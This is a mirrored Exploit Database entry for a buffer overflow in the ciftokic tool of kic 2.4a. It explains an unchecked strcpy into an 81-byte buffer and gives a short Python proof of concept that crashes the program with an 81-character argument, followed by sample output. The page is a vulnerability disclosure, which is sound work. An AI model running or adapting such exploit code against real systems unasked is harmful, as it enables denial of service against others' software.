kic 2.4a – Denial of Service

• Exploit Database
• 109 阅读

• 作者： JosueEncinar
  日期： 2019-10-01
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/47445/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47

  # Exploit Title: Ciftokic 2.4a - DoS Buffer Overflow # Date: September 30, 2019 # Exploit Author: @JosueEncinar # Software Link: http://launchpad.net/ubuntu/+source/kic/2.4a-1 # Version: 2.4a # Tested on: Ubuntu 18.04   &apos;&apos;&apos; If we check the ciftokic.c file on line 52 we see the following code: char CIFFile[81], *Tmp;. In line 84 we have the problem with the following instruction: strcpy(CIFFile,argv[1]);   If the first argument is 80 characters or less, nothing happens, but if we put from 81 onwards the program fails with a Buffer Overflow. &apos;&apos;&apos;   # To test the code use Python 3.6+ from os import system from sys import argv     def print_usage(): print("Usage: python3 ciftokic_overflow.py <characters_numbers>") print("|_No Buffer Overflow: python3 ciftokic_overflow.py 80") print("|_Buffer Overflow: python3 ciftokic_overflow.py 81")   if len(argv) == 1: print_usage() else: try: number = int(argv[1]) payload = "J"*number system(f"ciftokic {payload}") except: print_usage()     """   Output Example:   josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 80 Error: can&apos;t read CIF input file JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 81 *** buffer overflow detected ***: ciftokic terminated Aborted (core dumped)   """